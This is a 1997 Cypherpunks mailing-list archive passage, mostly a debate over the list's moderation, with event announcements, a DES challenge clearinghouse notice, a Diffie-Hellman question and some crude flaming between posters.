gets archived several places, and is searchable 5. It will be unmoderated And some disadvantages... 1. Cross-posting in USENET is a problem, especially in alt newsgroups 2. Commercial spam is a problem with newsgroups 3. USENET distribution is likely less efficient of overall bandwidth 4. News propogation times are often poor (Exeter univ. receives news about a week late) This is a real killer in my view. I have another news server I can access at the moment, but not everyone may have access to a reasonable news server. 5. News access is more complex for some people. Some alt newsgroups are not carried by some servers. Perhaps news-to-mail and mail-to-news gateway would solve these problems. 6. Some have argued in the past on this topic that the mailing list medium is better because it is more exclusive, as it requires more technical competence, and an active enough interest to subscribe. This is an elitist argument. Perhaps it is relevant though, if we are trying to maintain a mailing list where technical discussions on how to improve privacy are to take place. I wouldn't call this attitude censorship though. My overall feeling is that I prefer the faster turn around time of a mailing list. When interesting things were/are happening on the list (netscape break, late breaking crypto news, and cypherpunks spin on it), the fast turn around time was essential. Being able to react quickly to news items, and to organise technical projects rapidly is one of the cypherpunks main advantages and attractions from my point of view. My view of moderation is that it is a huge amount of work for the moderator, that it is hypocritical philosophically (we promote anarchy, but in order to effectively promote anarchy, we reject anarchy), that it breeds artificial social hierarchys, rather than allowing posts and posters reputations to stand on their own merit. I was happier with the strength of the philsophical standing of the list prior to moderation. Moderation hasn't improved the noise much anyway. Readers who have been reading for several years may understandably wish to recapture the stimulating discourses, and lively community feel to the list from the past. Lists change, cypherpunks is a victim of it's own success, media attention increased public awareness, increased number of subscribers, and at the same time increased the proportion of noisy off-topic posts. Unfortunately the success of the list, and the noise has resulted in some of those people who kept it interesting leaving the list. Coderpunks is a reasonable list, I'm not sure that it is moderated as such, but if you breach etiquette (discussion of politics, even when perpetrated by respected cryptographers, or by people discussing the implications of breaking DES, rather than the strict coding questions) they get Futplex-grams, which I find slightly annoying. Cryptography at c2.net is again reasonable, and gained back some of the original people who quit cypherpunks over the years due to noise. Cryptography is moderated. (Or is moderated when Perry thinks it would benefit from moderation, so that may change). Perhaps some of the lack of stimulating discussion is simply that the ideas are no longer hot new ideas. Most of the interesting technology and it's implications have been discussed. What's left is attempting to stop government restrictions and backdoors, and deploying the many complex peices of software for which there exists uses and demands. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 I found this post from Mr Gilmore deeply disturbing, and I thought I'd take this chance to, as someone recently said, "Fly with the Eagles." John Gilmore said: >Tim, the Cypherpunks have chosen to follow Sandy's lead for this >month. I'll admit I made it easy for them, but the results are >conclusive. There are 1311 addresses in the cypherpunks list today; >42 in the unedited list; and 19 in the flames list. Forty people >cared enough to read every posting; the other thousand either wanted >to try the experiment -- or didn't care enough to send an email >message. Which, as we all know, is a very low threshold. Careful. The statistics you are throwing around here are misleading. So if 1350, say, subscribers were subscribed to an unmoderated cypherpunks list, what would that tell you? As has been pointed out, beaten to death, and generally repeated: there are already filtered c'punks lists. By filtering the main list, you are just making your own life difficult and corrupting the reputation capital of "cypherpunks", and the results are far from conclusive. >all I want is something that works. The cypherpunks list was unusable >for this kind of discussion, only a month ago. It's usable now. > >I'm definitely bugged by the community's attitude toward my >"censorship". Rather than being glad that someone, anyone, was doing >something about the major problem on the list, 99% of the reaction was >to create even more ill-considered, emotional flamage. *I* didn't >make the signal/noise get worse at that point -- *you-all* did. Again, maybe that 99% is trying to tell you something? Maybe there is some provocation for this outpouring of "emotional flamage." Also, here you claim that the s/n ratio is worse than before, but above you said that the "moderation" has made the list usable. These two statements seem contradictory. >Perhaps at that point I should have shut down the list, as Lucky is >now suggesting. "Asking the list what to do" was clearly not a useful >option. Sandy cared enough about the community to make some concrete Not a useful option? Why not? If there aren't any ideas left in this community, I'm with Lucky. Pull the plug. >gratifying. You-all remind me of a passage from Booker T. >Washington's book _Up From Slavery_, describing what happened on the >night that news of the Emancipation Proclamation reached the South: >Most of the people on the list haven't bothered to face that freedom. >Your de-facto "leaders" have faced it for you. It is a more serious "You clearly don't take your freedom seriously. Now try a month without it." >Start a mailing list on another site! Move this list to somewhere! >Create and nurture an alt group! Make an independent moderated list My problem with this is that you are currently holding the reputation capital tied up in the name "cypherpunks" hostage. If hosting this discussion forum has grown so tiring, then you are free to pull the plug in a heartbeat. I've heard a few even go so far as to ask "what's in a name" when others get so upset about the list called "cypherpunks" being moderated. Well, I'll tell you. Reputation capital. Thats why so many lurkers have waded through the muck for so long. I've seen the crown jewels that have surfaced here in the past, and spread the word. "Cypherpunks" was where the action was. It was fast and loose and inhabited by a prolific core of sharp minds. Old memes die hard, as is evidenced every time we see a warning about the "Goodtimes Virus." >The experiment will be over in a few weeks. Who's going to take over >deciding how to run the list, and running it? As I said, if you don't want the list anymore, pull the plug. It will pop up again elsewhere and you need never worry about it again. This post from Mr Gilmore certainly is revealing. Perhaps inevitably, he has assumed the traditional paternal role of authority when its motives and/or power to regulate is questioned. Golem From das at sgi.com Tue Feb 4 17:18:23 1997 From: das at sgi.com (Anil Das) Date: Tue, 4 Feb 1997 17:18:23 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <5d8las$jps@fido.asd.sgi.com> Message-ID: <32F7DFD7.794B@sgi.com> Adam Back wrote: > > What do people think of starting an alt.cypherpunks USENET newsgroup? > I have only one objection. I will never post to an Usenet group under my real email address for fear of ending up in spammer databases. -- Anil Das From antimod at nym.alias.net Tue Feb 4 17:26:22 1997 From: antimod at nym.alias.net (Against Moderation) Date: Tue, 4 Feb 1997 17:26:22 -0800 (PST) Subject: Are cypher punks capable? In-Reply-To: <19970204205702.11975.qmail@squirrel.owl.de> Message-ID: <19970205012614.19234.qmail@anon.lcs.mit.edu> Secret Squirrel writes: > Against Moderation wrote: > > In general, unsubscribing and resubscribing to a mailing list is not > > completely trivial. > > Do you think that a cypher punk is not able to solve these problems? Read the rest of my message. I never said it wasn't pussible, it's just a question of how much effort I want to put in (which at this point, being roughly proportionaly to the quality of articles on cypherpunks, is close to zero). Whatever the difficulty or ease of fixing my mail filter, however, the fact that I haven't done it yet should not be counted as a vote in favor of moderation. This is what I am objecting to in John's article. John, if you are seriously interested in input from list members, then I have a proposal that I think is only fair. Why don't you create a new mailing list called cypherpunks-edited, which receives exactly the same filtered content as the current "cypherpunks at toad.com" list. Then encourage people to move from cypherpunks to either the -edited or -unedited lists to express their desires for the future of the list. In a another month, compare the subsription lists of the 3 lists. If there are considerably more subscribers to cypherpunks-edited than cypherpunks-unedited, then you can reasonably claim that a lot of list members want to see the list filtered. However, if, as I suspect, the number of people subscribing to the -edited and -unedited lists is statistically insignificant next to the people on the main cypherpunks list, then subscription counts are not a valid metric for judging the desires of list members. Of course, in the mean time I would like to see cypherpunks revert to an unmoderated list, but I'm not going to push my luck. I'd already be happe just to see the creation of a cypherpunks-edited list. From Bjorn.Asman.Info-Design at tripnet.se Tue Feb 4 17:36:28 1997 From: Bjorn.Asman.Info-Design at tripnet.se (Bjorn Asman) Date: Tue, 4 Feb 1997 17:36:28 -0800 (PST) Subject: bye.bye Message-ID: <199702050131.CAA00552@mail.tripnet.se> I have to agree that Mr. Tim C May have a big point. Even if i didn't like all the things Mr. May wrote so could i read it, and that is the point i think Mr. Sandford missed. That is to have a list that is a "living" list. You have to have all the people giving their chanche to say what tehy like even if they dont are "mentaly healthy".I have one more thing to "say". Namely to say bye.bye. to this list. I have never posted to this list, i have only read it, because i like the freedom in it (free speech and so on), but if i have to change my subscription to unedit-cypherpunks just to "hear" the freedom of speech, i rather just say no and unsubscribe. bye.bye bjorn.asman at infodesign.se.org Roerstrandsgatan 7a 41703.Goeteborg Phone +46-(0)31-221056 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The subjects are cyborg, nature is coyote, and the geography is Elsewhere -Donna Haraway ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From nobody at huge.cajones.com Tue Feb 4 18:04:16 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 4 Feb 1997 18:04:16 -0800 (PST) Subject: [ANNOUNCEMENT] Zero-knowledge interactive proofs Message-ID: <199702050204.SAA28886@mailmasher.com> The main difference between Tim C. Maypole and shit is that shit smells better. o o /< >\ Tim C. Maypole \\\_______/// // \\ From rah at shipwright.com Tue Feb 4 18:05:50 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 4 Feb 1997 18:05:50 -0800 (PST) Subject: Harvard Symposium Message-ID: --- begin forwarded text Mime-Version: 1.0 Date: Tue, 4 Feb 1997 15:10:17 -0800 From: jmuller at brobeck.com (John D. Muller) Subject: Harvard Symposium To: rah at shipwright.com Bob: I don't recall seeing this on e$pam and thought it might be of interest. What with the Boston connection, it's clearly a dcsb-worthy item, and I'll send it to them separately. ______________________________ Forward Header __________________________________ Subject: [NET-LAWYERS] HARVARD JOURNAL OF LAW & TECHNOLOGY Author: "K. Dueker" at internet Date: 2/4/97 1:00 AM [CROSS-POSTED; PLEASE FORGIVE DUPLICATION] PRESS RELEASE Symposium: Crime & Technology Law Enforcement Technology % Cybercrime % Electronic Commerce (Cambridge, Massachusetts) - The Harvard Journal of Law & Technology is pleased to announce its Spring Symposium: "Crime & Technology." The Symposium will be held Saturday, March 15, 1997, in the Ames Courtroom at the Harvard Law School in Cambridge, MA. The Symposium will consist of two moderated panel discussions, as well as several presentations. The morning session is expected to focus on "Search, Seizure, and Surveillance Technology," while the afternoon session will focus on "The Risks of Electronic Banking & Commerce." Admission to the Symposium is free to all Harvard affiliates (with valid Harvard ID), $15 for all other students, $30 for public sector professionals, and $100 for private sector professionals. The Spring Issue of the Journal will include articles covering the broad topic of "Crime and Technology." For additional information about the Symposium or the Journal, contact Symposium Editor Belinda Juran, by e-mail at juran at law.harvard.edu, or by phone at the Harvard Journal of Law & Technology offices at 617-495-3606 or 617-493-7949. ABOUT THE JOURNAL: The Harvard Journal of Law & Technology is a leading scholarly publication for articles addressing the many diverse interstices of science and technology with law and society. We have published articles by law professors, practitioners, business leaders, and politicians on varied topics including biotechnology, computers, international trade, technology transfer, intellectual property, medical technologies, and telecommunications. These and other subjects are some of the most exciting and rapidly developing areas of the law, and we believe that the dialogue provided by the Harvard Journal of Law & Technology will help to shape the future of this important field. We welcome submissions of articles, case comments, or book reviews addressing the relationship of law and technology. SUBSCRIPTION INFORMATION: For additional information, please contact the Journal at the address below. The Journal publishes three issues each year. To subscribe to the Journal's upcoming issues in Volume 10, please send the Journal a check for U.S. $45.00 (foreign orders $50.00) to the address below. To obtain the issue discussed above or back issues, please send the Journal a check for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2"). Media Contact: Kenneth S. Dueker, Communications Editor Release Date: February 04, 1997. ************************************************************************* Harvard Journal of Law & Technology Publications Center Harvard Law School Cambridge, MA 02138 Telephone: (617) 495-3606 E-Mail: jolt at law.harvard.edu WWW: http://www.law.harvard.edu/home/jolt/ ************************************************************************* --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From jimbell at pacifier.com Tue Feb 4 18:14:13 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 18:14:13 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702050213.SAA14535@mail.pacifier.com> Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir Crazy." Computer science major, BTW. At 07:37 PM 2/3/97 -0800, Clint Barnett wrote: >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him >having a degree in Chemical Engineering or something along those lines. > >clint barnett >lord of the cosmos >emily carr institute > >On Wed, 29 Jan 1997, Anonymous wrote: > >> >> >> According to Rick Osborne: >> >> "I disagree and can speak from experience. I was denied admission to MIT >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests >> with two 5's, four 4's, two 3's, and one 2. As for being well-rounded, I >> was on several academic teams, sang in Chorus, acted and stage managed in >> Drama, and played Tennis." >> >> People get into MIT--or don't get into MIT--for lots of reasons. Most >> intelligent people apply to several schools, knowing that admissions >> practices are subject to the vagaries of reality. >> >> In my case, my SATs were about 1500, with some 800s in achievement tests. >> And the usual bullshit high school clubs, political offices, etc. etc. I >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the >> way things turned out. >> >> And I decided not to go to MIT, either. >> >> "The only thing I didn't have that the next MIT applicant had was money. I >> made the mistake of letting them know that I was dirt poor and would need >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the >> Russian front!"" >> >> My guess is that "other factors" were involved. >> >> I noted with some interest, but little surprise, that the guy claiming MIT >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and >> had major problems making a coherent point. Methinks this is why MIT >> rejected him, not his lack of a "1600." >> >> ">For what it's worth, I wanted to go to MIT my sophomore year in high >> >school, too >> >> "Lucky you. It had been a dream of mine since I was an annoying >> overachiever of 6. Sux to be white trash, I guess." >> >> MIT offered me a substantial economic aid package, in the form of loans, >> grants, and various campus jobs. What does this tell you? >> >> "MIT may be a great school, but they tend to be snooty assholes for the most >> part. (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty >> assholes", I'm just saying that I've yet to meet one that wasn't.) >> >> I've known about a dozen or so MIT grads, and only one of them was a snooty >> asshole, and it was a _she_, one of the first MIT women grads (and she was >> _very_ impressed by this). >> >> Most MIT grads are perfectly reasonable. >> >> Xanthar >> >> >> >> >> -- >> > > > Jim Bell jimbell at pacifier.com From osborne at gateway.grumman.com Tue Feb 4 18:38:06 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Tue, 4 Feb 1997 18:38:06 -0800 (PST) Subject: Silly Americans Message-ID: <3.0.1.32.19970204213710.009681e0@gateway.grumman.com> ________________________ R i c k O s b o r n e ________________________ I was reading through the news when I stumbled across a thread that made a very good point. The original poster was talking about the UniSys GIF patent, and this was the reply: >Broaden your view. I can do anything I want with the GIF format without >asking _anyone_, and so can almost everyone in the world - except those >poor americans who chose to live under a "broken" patent law which >allows protecting _algorithms_. Totally silly. It brings up an interesting point, especially when applied to ITAR/EAR. On a philosophical note, why *do* we allow the government to regulate algorithms? (Implementations, I can understand, but *algorithms*?) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "A poem: a story in meter or rhyme." 'Ahh. `There once was a man from Nantucket ... `' "You've been talking to Garibaldi again, haven't you?" From dthorn at gte.net Tue Feb 4 18:41:02 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 18:41:02 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: Message-ID: <32F7D350.1CA8@gte.net> Declan McCullagh wrote: > Adam writes: > >The problem with censorship or moderation is that it waters down the > >absolutism of free speech. Free speech in electronic media, with > >cypherpunks type I, and type II remailers, is the closest thing to > >truly free speech yet. > I agree and disagree. Moderation often *increases* the value of speech. The > Wall Street Journal, or Time Magazine, or the JAMA have strict policies > regarding what information they print; these policies increase the > publication's value. Moderation is not necessarily censorship. Would you > criticize the National Coalition Against Censorship for not including in > their newsletter (to which I subscribe) off-topic rants by Jesse Helms? JAMA is an example of moderated (good) speech? Not from where I sit. Look at the "interview" they published in the spring of 1992 with the Kennedy autopsy doctors. Then read about how they twisted the whole thing (and really didn't interview the doctors) a la 60 minutes. > What Vulis and the rest (whom I killfiled long ago) have done is polluted a > common resource, making it unusable for the rest. It's the tragedy of the > commons. When all can speak without limit in a public forum, the drunken > boor can shout everyone else down. The drunk can be excluded, but when someone wants to use the drunk as an example to escalate the exclusion to other persons who are not in fact drunk, watch out! From dthorn at gte.net Tue Feb 4 18:41:06 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 18:41:06 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: <32F7EF3B.618B@gte.net> Michael Froomkin - U.Miami School of Law wrote: > I'm afraid you have been a charter member of my killfile. Any comments > you may have made, I missed. Since they weren't about crypto anyway, but > about list moderation (a dull topic, IMHO), I can accept that. I never commented about crypto? Why, I even wrote a crypto program, which few on this list have done, BTW. I hope Sandy allows this on the big list, since Michael has penned a message about me, but said that he won't allow my reply to him. Nobody has to tell me (or probably anyone else either) that they have killfiled me (or anyone else). All they have to do is ignore me (or anyone else), and there's no further problem, plus, as a bonus, it makes for less noise on the list. What say, Michael? From dthorn at gte.net Tue Feb 4 18:41:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 18:41:10 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <01IF0RKNC5OW9AN1CU@mbcl.rutgers.edu> Message-ID: <32F7D432.6298@gte.net> E. Allen Smith wrote: > From: IN%"gnu at toad.com" "John Gilmore" 4-FEB-1997 12:20:22.10 > >Tim, the Cypherpunks have chosen to follow Sandy's lead for this > >month. I'll admit I made it easy for them, but the results are > >conclusive. There are 1311 addresses in the cypherpunks list today; > >42 in the unedited list; and 19 in the flames list. Forty people > >cared enough to read every posting; the other thousand either wanted > >to try the experiment -- or didn't care enough to send an email > >message. Which, as we all know, is a very low threshold. > You're making an invalid assumption... namely that people who > stayed on the moderated list are neccessarily wanting it to be the > main list. This isn't the case with me, for instance. I'd also point > out that some of us - including me - were taking the time to take a > look at what happened with the moderated list. On the one hand, it > did result in a decrease in the trash messages... on the other hand, > it also drove away 1+ good posters (TCMay for one). What's really ironic here is that given three people who have knowledge of crypto/politics and something to say, the lesser two drove the best one away. Boo, hiss. From dthorn at gte.net Tue Feb 4 18:50:15 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 18:50:15 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: Message-ID: <32F7F50C.4CAE@gte.net> aaron at herringn.com wrote: > John Gilmore wrote: > >I'm glad we're talking about some of the real issues here. > >Tim, the Cypherpunks have chosen to follow Sandy's lead for this > >month. I'll admit I made it easy for them, but the results are > >conclusive. There are 1311 addresses in the cypherpunks list today; > >42 in the unedited list; and 19 in the flames list. Forty people > >cared enough to read every posting; the other thousand either wanted > >to try the experiment -- or didn't care enough to send an email > >message. Which, as we all know, is a very low threshold. Re: the below. Easily the best and most intelligent suggestion so far. Why couldn't Sandy and John with all their experience think of this? > If I might make a suggestion: > Some people want moderation. That's fine, I've never been very big on > letting other people choose what I read, but some people want it. > For those who want it, let someone moderate the list for as long as > they care to do it. Approved messages get a "X-sandy-approved" > header. The responsibility for setting up a filter to toss everything > that doesn't have the header is the responsibility of the end user. > Toad will need to filter incoming posts to make sure they don't come > "pre-approved", but that's the only hole I can think of. > Everyone gets all of the Cypherpunks list. Those who want moderation > filter the unapproved posts, those who want all of it get all of it. > Hopefully, this will make (almost) everyone happy. From banisar at epic.org Tue Feb 4 19:02:06 1997 From: banisar at epic.org (Dave Banisar) Date: Tue, 4 Feb 1997 19:02:06 -0800 (PST) Subject: Panel - Copyright and the Net: Is Legislation the Answer? Message-ID: Copyright and the Net: Is Legislation the Answer? ACM97: The Next 50 Years of Computing Sunday March 2 2:00 PM - 5:00 PM Fairmont Hotel San Jose, CA Sponsored by the U.S. Public Policy Committee of ACM (USACM) Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold Moderator: Barbara Simons, Chair, USACM o What is the role of copyright in all-electronic publication world? Will it be replaced by contract law? o Can the needs of authors who want to publish for renown (academics) and authors that want to publish for pay (entertainment etc) be handled in one mechanism? o Should browsing on the World Wide Web of full copyrighted texts be made illegal because people make temporary copies in their computer's memory when they look at a web page? o Should online service providers, including libraries and universities, have to monitor user accounts in order to enforce copyright laws? o Should firms that compile data have intellectual property rights so that scientists and news reporters can't use the data without permission or payments? o How should existing differences in national copyright be handled in a networked world where national boundaries and are little more than a speedbump on the information superhighway? o Does technological protection for copyrighted works inherently undermine fair use ? These and related issues will confront the 105th Congress in the coming year. They will also be examined by this panel, which will discuss controversies surrounding the extension of copyright law to deal with cyberspace. Examples include: How does proposed legislation reflect the net? How much influence have lobbyists for the entertainment industry had in writing legislation? What should be the role of professional societies in analyzing policy initiatives? We will discussed legislation and international treaties that have been proposed by the White House. We will also examine both technical and legal approaches to problems created by the net, as well as how various approaches might impact the science, technology, and business communities. A significant amount of time will be allowed for audience interaction in the discussion. Biographical sketches Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati and is Chairman of the firm's Interactive New Media practice group. He represents publicly and privately-held companies in the multimedia, software, computer, on-line and entertainment industries. Hank has authored numerous articles in the fields of venture capital, interactive media and technology transactions. He currently serves on the Editorial Board of the Cyberspace Lawyer. Hank received his law degree in 1983 from Stanford University, where he was managing editor of the Stanford Law Review. Pamela Samuelson is a Professor at the University of California at Berkeley where she holds a joint appointment at the School of Information Management and Systems and in the School of Law. She has written and spoken extensively on the challenges posed by digital technologies for the law, particularly in the field of intellectual property. She is a Contributing Editor of Communications of the ACM and a Fellow of the Electronic Frontier Foundation. Mark Stefik is a principal scientist at the Xerox Palo Alto Research Center. At Stanford University he received a Bachelor of Science degree in mathematics in 1970 and a Ph.D. in computer science in 1980. His current research activities are in approaches for creating, protecting, and reusing digital property. Stefik is review editor for the international journal "Artificial Intelligence" and has authored two books on AI-related topics and a third book on the Internet. Gio Wiederhold is a professor of Computer Science at Stanford University, with courtesy appointments in Medicine and Electrical Engineering. His research focuses on large-scale software construction, specifically applied to information systems, the protection of their content, often using knowledge-based techniques. Wiederhold has authored and coauthored more than 250 published papers and reports on computing and medicine. Wiederhold received a degree in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical Information Science from the University of California at San Francisco in 1976. He has been elected fellow of the ACMI, the IEEE and the ACM. He currently serves on the ACM Publications Board, focusing on the move to electronic publication. Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley in 1981. She joined the Research Division of IBM in 1980; she is currently working in IBM Global Services. Simons is a Fellow of both the American Association for the Advancement of Science (AAAS) and ACM. In 1995 she was selected as one of 26 Internet "Visionaries" by c|net, and in 1994 Open Computing included her in its list of the top 100 women in computing. She was awarded the 1992 CPSR Norbert Wiener Award for Professional and Social Responsibility in Computing. Simons founded and chairs USACM, the ACM U. S. Public Policy Committee. From jimbell at pacifier.com Tue Feb 4 19:04:02 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 19:04:02 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702050303.TAA20601@mail.pacifier.com> At 11:14 PM 2/3/97 -0800, Timothy C. May wrote: >Several people have also commented on this, that their filters are still >working overtime. As it should be, really, as no moderator can make the >list match any given person's preferences. > >(Personally, I'm not even convinced filters are essential. It takes no >longer than 5 seconds to glance at a message and know whether to scrap it >or not. Granted, it takes a bit of time to download, especially at slower >modem speeds. But whether Sandy's censorship is producing any significant >"savings" depends on how many messages he's sorting into each >pile...clearly if 20% or less of the total posts are being filtered out, >then the savings are ignorable. That might not be quite true, or at least not complete. Another effect is that the new structure of the list may deter some of the flamers from posting, when they don't think their notes will be seen on the moderated list. In any case, however, I agree that spam and trash are easy to filter out. Jim Bell jimbell at pacifier.com From dthorn at gte.net Tue Feb 4 19:23:41 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 19:23:41 -0800 (PST) Subject: Govt & cyberspace In-Reply-To: Message-ID: <32F7FCD3.6DD1@gte.net> Declan McCullagh wrote: > Steve writes: > >Democracy is not without its significant shortcomings. If you doubt this > >read Tocquevelle. > Or Hayek. Democracy, after all, is majoritarian rule. Living under a > homogenous majority, with its whims and desires as law, would be more > oppressive than living under a benign dictatorship. I wish for once and for all someone would delineate this "democracy" thing from a true, distributed democracy, where every individual is required to participate equally, and no narrow interests can co-opt the vote the way they do in the kind of "democracy" Declan mentions. Wouldn't it be better when people mention a one-word political philosophy such as democracy, that they make the definition more precise by using two or three words instead? From azur at netcom.com Tue Feb 4 19:25:28 1997 From: azur at netcom.com (Steve Schear) Date: Tue, 4 Feb 1997 19:25:28 -0800 (PST) Subject: BA Crypto Machine Photos Message-ID: >BTW, does anyone know the meaning of 'order wire mode' in the context of a >crypto broadcast? This mode is found in the KWR-37 online crypto >receiver. Please send all photo requests or responses via private E-mail. If it means the same thing as in the telecom industry, its an out-of-band (often analof) channel between two locations connected by wide-band (e.g., T1) facilities. Its primary purpose is to provide service personnel, at each end point, the ability to converse with one another while performing work on that link. --Steve From announce at lists.zdnet.com Tue Feb 4 19:31:05 1997 From: announce at lists.zdnet.com (announce at lists.zdnet.com) Date: Tue, 4 Feb 1997 19:31:05 -0800 (PST) Subject: Announcing ZDNet Exclusives! Message-ID: --------------------------------------------------------- ZDNET ANNOUNCEMENT 2/3/97 --------------------------------------------------------- Greetings from ZDNet! We're pleased to announce a FREE gift to our loyal community of Web users: the launch of ZDNet Exclusives, the Web's first FREE collection of innovative software utilities, developed for our members by ZDNet and its renowned Software Library team! ZDNet Exclusives require no registration fees; they are absolutely FREE to all the members of the ZDNet community. Over 50 programs are available for download right now at: http://www.hotfiles.com/exclusiv.html The new ZDNet Exclusives collection features many invaluable utilities to make computing easier as well as some entertaining programs to make it more fun; including: *CookieMaster* Enables users to identify, view and opt to delete the Web cookies placed on their hard drives by the Web sites they've visited. *Gates Does Windows 95* An all-time favorite screen saver that depicts Bill Gates washing windows. *Shoebox PIM* An easy way to organize and store all of that personal information you'd be likely to save in a shoebox. * Plus, many more!* Log on to ZDNet and start downloading your FREE ZDNet Exclusives today! Let us know what you think. We have more ZDNet Exclusives under development and would appreciate your feedback. ---Preston Gralla Executive Editor The ZDNet Software Library ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: announce-on at lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: announce-off at lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com From joelm at eskimo.com Tue Feb 4 20:10:05 1997 From: joelm at eskimo.com (Joel McNamara) Date: Tue, 4 Feb 1997 20:10:05 -0800 (PST) Subject: Unofficial DES Challenge Clearinghouse Message-ID: <3.0.32.19970204200843.007272ec@mail.eskimo.com> Until someone comes up with an automated method of keyspace allocation for the DES challenge (and maybe even after), I've decided to run the Unofficial DES Challenge Clearinghouse. This Web page will list keyspace that's already been searched (or is planned to be searched) with links to any brute force utilities. If you clear part of the keyspace, e-mail me the range, and I'll update the page. http://www.eskimo.com/~joelm/des.html Yes, I agree that a trusted, verifiable method of keyspace allocation and reporting needs to be put in place, but in the meantime, this rather simple page will hopefully reduce some duplication of effort. Joel From dlv at bwalk.dm.com Tue Feb 4 20:12:08 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 4 Feb 1997 20:12:08 -0800 (PST) Subject: Geiger and long, unreadable lines In-Reply-To: <199701291607.QAA00392@server.test.net> Message-ID: Adam Back writes: > > Dimitri Vulis writes on cpunks-flames: > > Adam Back writes on cpunks-flames: > > > > > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks: > > > > for the benifit of those misfortunate enough to be still working > > > > dumb terminals I have disabled my PGP script until I have time to add a > > > > word wrap routine to it. > > > > > > it is you who were demonstrating your ineptitude by spewing > > > 120+ line length postings. Why is it so difficult for you to keep > > > under 80 chars? Would you like some technical assistance? Notice how > > > near every one else apart from yourself is managing to keep under 80 > > > chars? > > > > Notice how near every one else apart from yourself bends over for the NSA, > > and is willing to use a 40-bit key "escrowed" with the feds? Why is it so > > difficult for you to keep under 40 bits? Would you like some technical > > assistance? Why are you setting yourself apart from the Internet community > > that so happily embraces GAK? Why do you desire "privacy" for your traffic > > when everyone else does not? What have you got to hide? Are you looking to > > transmit child pornography, bomb-making instructions, and/or cannabis > > legalization propaganda? We better have a look at your hard disk soon. > > btw Dimitri, a crypto question: > > Diffie-Hellman key generation, there are two main ways of generating > the diffie-hellman prime modulus, method 1: > > p = 2q+1 > > where q is a prime also. > > And method 2: > > p = r.2q+1 > > where q is a prime and r is a randomly generated number. > > With method 1, the security parameter is the size of p in bits (or > size of q, as they are related). > > With method 2, there are two security parameters, size of q and size > of p in bits. > > Method 2 has the advantage that key generation is faster as it is > quicker to generate new random numbers r, than to repeatedly generate > trial prime q as you have to do in method 1. However is the security > weaker in method 2? What size of p and q do you have to use to get > the same security as for same size of p in bits as in method 1? What > should be the relationship between the size of p and q? > > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge > shouldn't hold, besides Sandy has a stated policy of killing the whole > thread, so I thought it amusing to continue your crypto relevance in > moving on to technical topics rather than political) My advice is to stay clear of any cryptosystem that relies on factoring being hard. I'll send you pointers to some very interesting new work based on the zeta function in private e-mail when I dig it up (please remind me if/when I forget this promise). I'm reluctant to say anything crypto-relevant on this defunct mailing list because last time I did, the moderator repeatedly cited it as evidence that his moderation works. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Tue Feb 4 20:20:57 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 4 Feb 1997 20:20:57 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: <32F7D350.1CA8@gte.net> Message-ID: Dale Thorn writes: > > What Vulis and the rest (whom I killfiled long ago) have done is polluted a > > common resource, making it unusable for the rest. It's the tragedy of the > > commons. When all can speak without limit in a public forum, the drunken > > boor can shout everyone else down. > > The drunk can be excluded, but when someone wants to use the drunk as > an example to escalate the exclusion to other persons who are not in > fact drunk, watch out! If I get really really drunk, which happens very seldom, then I'm too drunk to post. I don't mind an occasional beer, 